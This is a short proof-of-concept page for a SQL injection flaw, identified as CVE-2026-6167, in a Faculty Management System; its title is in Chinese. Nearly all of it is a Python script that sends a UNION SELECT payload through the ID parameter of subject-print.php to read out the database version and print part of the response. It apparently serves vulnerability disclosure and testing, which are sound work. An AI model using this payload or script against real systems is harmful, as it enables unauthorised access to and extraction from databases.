CVE-2026-6167 Faculty Management System SQL注入漏洞

import requests def check_sqli(target_url): """Simple PoC to check for SQL Injection in ID parameter""" # Payload to attempt to extract database version payload = "1' UNION SELECT NULL, version(), NULL, NULL--+" # Target endpoint based on the CVE description full_url = f"{target_url.rstrip('/')}/subject-print.php" params = { "ID": payload } try: response = requests.get(full_url, params=params, timeout=5) if response.status_code == 200: print(f"[+] Request sent to {full_url}") print(f"[+] Payload used: ID={payload}") print("[+] Check the response content for database version output.") print(response.text[:500]) # Print snippet of response else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://127.0.0.1/fms" check_sqli(target)